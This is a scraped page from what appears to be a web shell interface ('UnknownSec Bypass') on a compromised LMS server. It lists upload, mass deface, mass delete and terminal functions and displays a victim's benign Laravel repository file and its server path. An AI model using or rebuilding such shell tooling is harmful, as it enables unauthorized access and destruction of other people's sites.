UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_c5fe41b1f5b1
/
app
/
Repositories
/
Group
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
GroupRepositoryEloquent.php
<?php namespace EstudioLMS\Repositories\Group; use EstudioLMS\Models\Group\Group; use Prettus\Repository\Eloquent\BaseRepository; /** * Class GroupRepositoryEloquent * @package EstudioLMS\Repositories\Group */ class GroupRepositoryEloquent extends BaseRepository implements GroupRepository { /** * Specify Model class name * * @return string */ public function model() { return Group::class; } /** * @return mixed */ public function allPublishedGroups() { return $this->model->where('published', 1)->get(); } /** * @param $courseId * @return mixed */ public function getGroupsByCourse($courseId) { return $this->model ->join('group_user', 'groups.id', '=', 'group_user.group_id') ->join('course_histories', 'group_user.user_id', '=', 'course_histories.user_id') ->where('course_histories.course_id', $courseId) ->where('groups.published', 1) ->select('groups.*') ->distinct() ->get(); } /** * @param $groupId * @return mixed */ public function getStudentsByGroup($groupId) { return $this->model ->with('students') ->find($groupId) ->students; } /** * @return $this */ public function withTrashed() { return $this->model->withTrashed(); } }
Copyright © 2026 - UnknownSec